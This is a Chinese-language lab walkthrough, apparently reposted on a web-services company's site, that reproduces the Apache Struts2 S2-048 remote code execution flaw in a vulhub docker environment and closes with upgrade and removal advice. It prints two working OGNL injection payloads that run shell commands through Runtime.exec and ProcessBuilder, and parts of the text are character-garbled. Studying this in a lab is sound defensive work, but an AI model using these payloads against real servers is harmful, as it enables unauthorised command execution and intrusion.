這期內容當中小編將會給大家?guī)碛嘘P怎么進行Apache Struts2--048遠程代碼執(zhí)行漏洞復現(xiàn),文章內容豐富且以專業(yè)的角度為大家分析和敘述,閱讀完這篇文章希望大家可以有所收獲。
目前創(chuàng)新互聯(lián)建站已為上1000+的企業(yè)提供了網(wǎng)站建設、域名、網(wǎng)站空間、網(wǎng)站托管、服務器租用、企業(yè)網(wǎng)站設計、咸寧網(wǎng)站維護等服務,公司將堅持客戶導向、應用為本的策略,正道將秉承"和諧、參與、激情"的文化,與客戶和合作伙伴齊心協(xié)力一起成長,共同發(fā)展。
Struts2框架是一個用于開發(fā)Java EE網(wǎng)絡應用程序的開放源代碼網(wǎng)頁應用程序架構。它利用并延伸了Java Servlet API,鼓勵開發(fā)者采用MVC架構。Struts2以WebWork優(yōu)秀的設計思想為核心,吸收了Struts框架的部分優(yōu)點,提供了一個更加整潔的MVC設計模式實現(xiàn)的Web應用程序框架。
Apache Struts2 2.3.x 系列啟用了struts2-struts1-plugin 插件并且存在 struts2-showcase 目錄,其漏洞成因是當ActionMessage接收客戶可控的參數(shù)數(shù)據(jù)時,由于后續(xù)數(shù)據(jù)拼接傳遞后處理不當導致任意代碼執(zhí)行
Apache Struts 2.3.x系列中啟用了struts2-struts1-plugin插件的版本。
1.自行搭建Apache Struts2較為復雜,本次漏洞環(huán)境使用vulhub中的docker環(huán)境搭建。
下載地址:https://github.com/vulhub/vulhub
2.下載完成后解壓進入s2-048目錄,啟動漏洞環(huán)境
cd cd vulhub-master/struts2/s2-048/ //進入目錄

docker-compose up -d //啟動靶場

3.使用docker ps 查看是否啟動成功

4.在瀏覽器輸入http:your-ip:8080/hello.action,看到以下頁面環(huán)境搭建完成

1. 在瀏覽器輸入以下鏈接訪問漏洞頁面
http://192.168.3.160:8080/integration/saveGangster.action

2.在第一個表單“Gangster Name”處輸入${1+1},下面隨意輸入,點擊submit提交查看執(zhí)行了OGNL 表達式


2. 在Gangster Name”處把${1+1}修改為以下命令執(zhí)行的payload語句
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())).(#q)}


3. 也可以使用Burp抓包修改成命令執(zhí)行的payload的語句
注:payload需要使用URL編碼
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}


4. 可以使用自動化腳本或圖形化工具實現(xiàn),這里不做演示。
工具可在GitHub上搜索下載
1. 升級 建議升級到最新版本
2、根據(jù)業(yè)務情況,禁用關閉(刪除) \struts-2.3.x\apps\struts2-showcase.war包
上述就是小編為大家分享的怎么進行Apache Struts2--048遠程代碼執(zhí)行漏洞復現(xiàn)了,如果剛好有類似的疑惑,不妨參照上述分析進行理解。如果想知道更多相關知識,歡迎關注創(chuàng)新互聯(lián)行業(yè)資訊頻道。
本文標題:怎么進行ApacheStruts2--048遠程代碼執(zhí)行漏洞復現(xiàn)
網(wǎng)頁URL:http://chinadenli.net/article0/ipscoo.html
成都網(wǎng)站建設公司_創(chuàng)新互聯(lián),為您提供虛擬主機、服務器托管、App開發(fā)、標簽優(yōu)化、外貿建站、軟件開發(fā)
聲明:本網(wǎng)站發(fā)布的內容(圖片、視頻和文字)以用戶投稿、用戶轉載內容為主,如果涉及侵權請盡快告知,我們將會在第一時間刪除。文章觀點不代表本網(wǎng)站立場,如需處理請聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內容未經(jīng)允許不得轉載,或轉載時需注明來源: 創(chuàng)新互聯(lián)